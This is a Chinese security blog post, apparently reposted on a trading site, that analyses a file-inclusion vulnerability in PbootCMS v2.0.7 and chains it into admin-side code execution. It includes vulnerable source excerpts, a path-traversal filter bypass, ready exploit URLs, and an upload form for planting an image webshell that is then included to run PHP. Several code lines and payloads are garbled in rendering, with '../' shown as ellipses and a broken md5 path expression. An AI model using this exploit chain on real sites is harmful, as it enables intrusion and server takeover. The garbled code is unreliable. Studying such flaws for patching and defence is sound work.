免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  PbootCMS 文件包含后台getshell

PbootCMS 文件包含后台getshell

发表时间:2021-07-09 17:04:34  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

0x00 漏洞描述

版本:v2.0.7
1、文件读取:是通过include 包含文件,所以不可以读php文件。
2、后台GETSHELl:是通过前面的文件包含来组合getshell。

0x01 文件包含

文件:/apps/home/controller/SearchController.php
方法:index

public function index()
{
    $searchtpl = request('searchtpl');
    if (! preg_match('/^[\w\-\.\/]+$/', $searchtpl)) {
        $searchtpl = 'search.html';
    }
    
    $content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
//……
    echo $content; // 搜索页面不缓存
    exit();
}

1、获取searchtpl并赋值到$searchtpl变量,下面这个正则没看懂是啥意思。
2、带入parent::parser 类方法,跟进。

文件:/core/basic/Controller.php

    final protected function parser($file)
    {
        $view = View::getInstance();
        return $view->parser($file);
    }

1、获取View的实例
2、把传入的变量带入view>parser(view->parser(file);方法,跟进。

文件:/core/view/View.php

// 解析模板文件
public function parser($file)
{
    //……
    $theme = preg_replace('/\.\.(\/|\\\)/', '', $theme); // 过滤掉相对路径
    $file = preg_replace('/\.\.(\/|\\\)/', '', $file); // 过滤掉相对路径
    if (strpos($file, '/') === 0) { =
//……
    } elseif (! ! $pos = strpos($file, '@')) {
//……
    } else {
        // 定义当前应用主题目录
        define('APP_THEME_DIR', str_replace(DOC_PATH, '', APP_VIEW_PATH) . '/' . $theme);
        if (! is_dir($this->tplPath .= '/' . $theme)) { // 检查主题是否存在
            error('模板主题目录不存在!主题路径:' . APP_THEME_DIR);
        }
        $tpl_file = $this->tplPath . '/' . $file; // 模板文件
    }
 //……
    file_exists($tpl_file) ?: error('模板文件' . APP_THEME_DIR . '/' . $file . '不存在!' . $note);
    $tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件
                                                                   
    // 当编译文件不存在,或者模板文件修改过,则重新生成编译文件
    if (! file_exists($tpl_c_file) || filemtime($tpl_c_file) < filemtime($tpl_file) || ! Config::get('tpl_parser_cache')) {
        $content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
        file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错!请检查目录是否有可写权限!'); // 写入编译文件
        $compile = true;
    }
    
    ob_start(); // 开启缓冲区,引入编译文件
    $rs = include $tpl_c_file;
//……
    $content = ob_get_contents();
    ob_end_clean();
    return $content;
}
  1. 通过正则过滤替换掉$file变量里的…/,可通过…//绕过。
  2. if语句对模版目录进行判断,不管进入哪个分支都会通过拼接file生成一个tpl_file 变量。
  3. 判断$tpl_file 文件是否存在。不存在报错。
  4. $tpl_c_file = this>tplcPath./.md5(this->tplcPath . '/' . md5(tpl_file) . ‘.php’;
  5. $tpl_c_file 文件不存在重新写出文件。
  6. $rs = include $tpl_c_file;
  7. 获取content、返回content
  8. 会到index方法解析并输出$content。
  9. 文件包含读取完成。

0x02 后台GETSHELL

简述:后台GETSHELL的话就是利用后台的图片上传功能上传一个图片马,通过文件包含来执行PHP代码。

0x03 漏洞利用

文件读取
http://pboot.test/?keyword=12&searchtpl=…/./…//…//…//…//…//…//…//…//…//…//python27/news.txt
121.png

后台GETSHELL
1、管理员权限
2、通过ueditor上传文件

<form action="http://pboot.test/core/extend/ueditor/php/controller.php?action=uploadfile" method="post" enctype="multipart/form-data">
	<p>< input type="file" name="upfile"></p>
    <p>< input type="submit" value="submit"></p>
</form>	

3、执行PHP代码
拿到上传的图片路径
/static/upload/file/20200425/1587803636871800.png

http://pboot.test/?keyword=12&searchtpl=…//…//…///static/upload/file/20200425/1587803636871800.png

4、后台GETSHELL完成。

121.png

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470